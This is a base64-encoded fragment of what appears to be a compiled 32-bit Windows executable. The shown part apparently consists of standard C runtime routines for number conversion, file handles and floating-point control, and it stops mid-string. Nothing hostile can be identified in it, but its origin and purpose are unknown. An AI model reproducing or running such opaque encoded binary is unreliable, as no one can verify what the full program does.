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HOh3d////3Y46G93////djzoZ3f//4PEQP92QOhcd////3ZE6FR3////dkjoTHf///92TOhEd////3ZQ6Dx3////dlToNHf///92WOgsd////3Zc6CR3////dmDoHHf///92ZOgUd////3Zo6Ax3////dmzoBHf///92cOj8dv///3Z06PR2////dnjo7Hb///92fOjkdv//g8RA/7aAAAAA6NZ2////toQAAADoy3b///+2iAAAAOjAdv///7aMAAAA6LV2////tpAAAADoqnb///+2lAAAAOifdv///7aYAAAA6JR2////tpwAAADoiXb///+2oAAAAOh+dv///7akAAAA6HN2////tqgAAADoaHb///+2uAAAAOhddv///7a8AAAA6FJ2////tsAAAADoR3b///+2xAAAAOg8dv///7bIAAAA6DF2//+DxED/tswAAADoI3b///+2tAAAAOgYdv///7bUAAAA6A12////ttgAAADoAnb///+23AAAAOj3df///7bgAAAA6Ox1////tuQAAADo4XX///+26AAAAOjWdf///7bQAAAA6Mt1////tuwAAADowHX///+28AAAAOi1df///7b0AAAA6Kp1////tvgAAADon3X///+2/AAAAOiUdf///7YAAQAA6Il1////tgQBAADofnX//4PEQP+2CAEAAOhwdf///7YMAQAA6GV1////thABAADoWnX///+2FAEAAOhPdf///7YYAQAA6ER1////thwBAADoOXX///+2IAEAAOgudf///7YkAQAA6CN1////tigBAADoGHX///+2LAEAAOgNdf///7YwAQAA6AJ1////tjQBAADo93T///+2OAEAAOjsdP///7Y8AQAA6OF0////tkABAADo1nT///+2RAEAAOjLdP//g8RA/7ZIAQAA6L10////tkwBAADosnT///+2UAEAAOindP///7ZUAQAA6Jx0////tlgBAADokXT///+2XAEAAOiGdP///7ZgAQAA6Ht0//+DxBxeXcNVi+yD7BiNTehT/3UQ6HiC//+LXQiNQwE9AAEAAHcPi0Xoi4CQAAAAD7cEWOtui8ONTejB+AiJRQhRD7bAUOhI4P//WVmFwHQSi0UIagKIRfiIXfnGRfoAWesKM8mIXfjGRfkAQYtF6GoB/3AEjUX8UFGNRfhQjUXoagFQ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